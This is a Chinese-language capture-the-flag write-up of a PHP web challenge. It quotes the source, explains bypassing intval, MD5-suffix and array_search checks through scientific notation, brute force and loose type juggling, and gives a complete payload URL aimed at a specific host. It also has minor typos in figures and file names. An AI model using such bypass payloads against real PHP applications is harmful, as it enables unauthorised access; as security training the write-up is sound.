<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> Emmm...

这是题目
惯例：代码审查

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

这里很明显，若key1与key2均为真，则打印flag变量，猜测flag变量就是结果，来自Hgfkg.php,所以我们的目标是让key1与key2为1或true！

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;

这里可以看出，我们需要构造a和b，满足两个if条件，使key1赋值为1，

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;

这里可以看出，我们需要构造c，满足两个if条件使key2赋值为1。
到这里我们基本明确了问题就是a,b,c如何构造的问题。

接下来我们看一下条件：
对于a和b,需要满足这两个条件

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6))

isset($a)：a不为空

intval($a) > 6000000：a强制类型转换后大于60000000

strlen($a)<= 3：a变量字符串长度小于等于3

isset($b)：b不为空。

‘8b184b’ === substr(md5($b),-6,6)：b的md5加密后后六位要全等于8b184b。

条件要求总结完毕，接下来挨个突破：
a变量长度小于等于3且类型转换后大于6000000，所以大概率是科学计数法,所以猜测a可以是1e8。

b变量的md5加密后后六位要全等于8b184b。
ai写脚本爆破

<?php
function findNumberWithMd5Suffix($suffix, $start = 0, $end = PHP_INT_MAX) {
    for ($i = $start; $i <= $end; $i++) {
        // 将数字转换为字符串并计算MD5哈希
        $hash = md5((string)$i);
        // 检查哈希值的后六位
        if (substr($hash, -6) === $suffix) {
            return $i;
        }
    }

    return null; // 如果没有找到，则返回null
}

// 寻找符合条件的数字
$bValue = findNumberWithMd5Suffix('8b184b');

if ($bValue !== null) {
    echo "找到的b的值: " . $bValue . "\n";
} else {
    echo "在给定范围内未找到符合条件的数字。\n";
}
?>

用AI生成爆破代码如上，得到b的值为53724.

接下来就是构造C了，
对于C需要满足：

if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){

c需为Jason格式的值，c的m键对应的值不是数字且不是数字字符串，c的m键的值要大于2022
c的n键对应的值需为数组且该数组长度为2且第一位为数组，
使用AI写代码构造C

至此，a,b,c已构造完毕
构造url:http://61.147.171.105:64218/?a=1e8&&b=53724&&c={“m”:“2024Year_”,“n”:[[0],9]}
提交：显示no

再结合代码：

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;

可以看出我们把c的n键对应的值漏了一些要求，要求数组c内要包含“DGGJ”,又要求不能包含，所以只能考虑绕过了，
array_search函数会先转换成相同类型再进行判定，所以我们的c的n键"n":[[0],9]要改为"n":[[0],0]，此时array_search(“DGGJ”, $c[“n”])为true，就不会执行后面的判定了，这里是因为字符串“DGGJ”转换为数值类型相当于0，所以后面一个只能是0，至于前面数组内的值就任意了，再测试

拿到flag

总结：考察的是代码理解，payload构造和函数绕过
知识点：
1.@
对于这个 @ 符号，之前很少在意，看别人的代码看见时，只知道它是错误屏蔽的符号。今天再一次接触到了它，不得不认真了解一下。
@ 是可以屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息，这样用户就看不到程序的出错信息。这样除了用户界面会友好一些外，更重要的是安全性，因为屏蔽了出错文件的路径等信息。想想看，你的文件路径要是完全暴露给黑客，他们该有多开心，因此，在一些敏感的文件输出的位置，还是记得加上 @ 符号！
2.substr

`substr()` 函数是 PHP 中用于处理字符串的强大工具，它允许开发者从给定的字符串中提取出特定长度的子字符串。下面将详细解释 `substr()` 函数的使用方法及其应用场景。
1. **基本用法**
`substr()` 函数接收三个参数：原始字符串 `$string`，起始位置 `$start` 和截取长度 `$length`。
- `$string`：要截取的原始字符串。
- `$start`：从字符串的哪个位置开始截取。如果 `$start` 是正数，那么它表示从字符串开头算起的字符位置。如果 `$start` 是负数，那么它表示从字符串末尾算起的字符位置。
- `$length`：截取的子字符串长度。如果省略或者设置为 `null`，则会截取到字符串的末尾。

3.is_numeric()函数，作用是判断输入是不是数字或数字字符串。
4.array_search
array_search()函数在数组中搜索值并返回键。
array_search函数 类似于==
在进行比较的时候，会先将字符串类型转化成相同类型，再比较
如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换成数值并且比较按照数值来进行